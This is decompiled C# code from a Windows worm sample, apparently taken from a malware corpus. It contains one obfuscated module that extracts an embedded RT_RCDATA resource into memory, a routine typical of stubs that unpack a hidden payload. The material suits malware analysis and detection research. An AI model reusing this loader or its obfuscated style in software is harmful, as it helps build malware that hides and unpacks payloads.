// Decompiled with JetBrains decompiler // Type: ajhfsdlhjasnagfgewfwsg.dsfisydfiuxycv876e29847329847 // Assembly: Rokan, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null // MVID: 170F4640-026D-46A0-96EF-63F7CE568476 // Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Worm.Win32.Bybz.dma-ede80954aa264e7f1fb365b2d83e8d211c6a79e95bdca110aeaef84c696635db.exe using Microsoft.VisualBasic.CompilerServices; using System; using System.Runtime.InteropServices; namespace ajhfsdlhjasnagfgewfwsg { [StandardModule] internal sealed class dsfisydfiuxycv876e29847329847 { [DllImport("kernel32.dll", SetLastError = true)] private static extern IntPtr FindResource(IntPtr hModule, string lpName, string lpType); [DllImport("kernel32", EntryPoint = "GetModuleHandleA", CharSet = CharSet.Ansi, SetLastError = true)] private static extern IntPtr GetModuleHandle([MarshalAs(UnmanagedType.VBByRefStr)] ref string moduleName); [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] private static extern int SizeofResource(IntPtr hModule, IntPtr hResInfo); [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] private static extern IntPtr LoadResource(IntPtr hModule, IntPtr hResInfo); public static byte[] asd87ax98c7aweiywqiueyiuxzIUDYSFUISDYF89ZX7C(string filename, string R = "0") { IntPtr moduleHandle = dsfisydfiuxycv876e29847329847.GetModuleHandle(ref filename); IntPtr resource = dsfisydfiuxycv876e29847329847.FindResource(moduleHandle, "0", "RT_RCDATA" + R); IntPtr source = dsfisydfiuxycv876e29847329847.LoadResource(moduleHandle, resource); int length = dsfisydfiuxycv876e29847329847.SizeofResource(moduleHandle, resource); byte[] destination = new byte[checked (length - 1 + 1)]; Marshal.Copy(source, destination, 0, length); return destination; } } }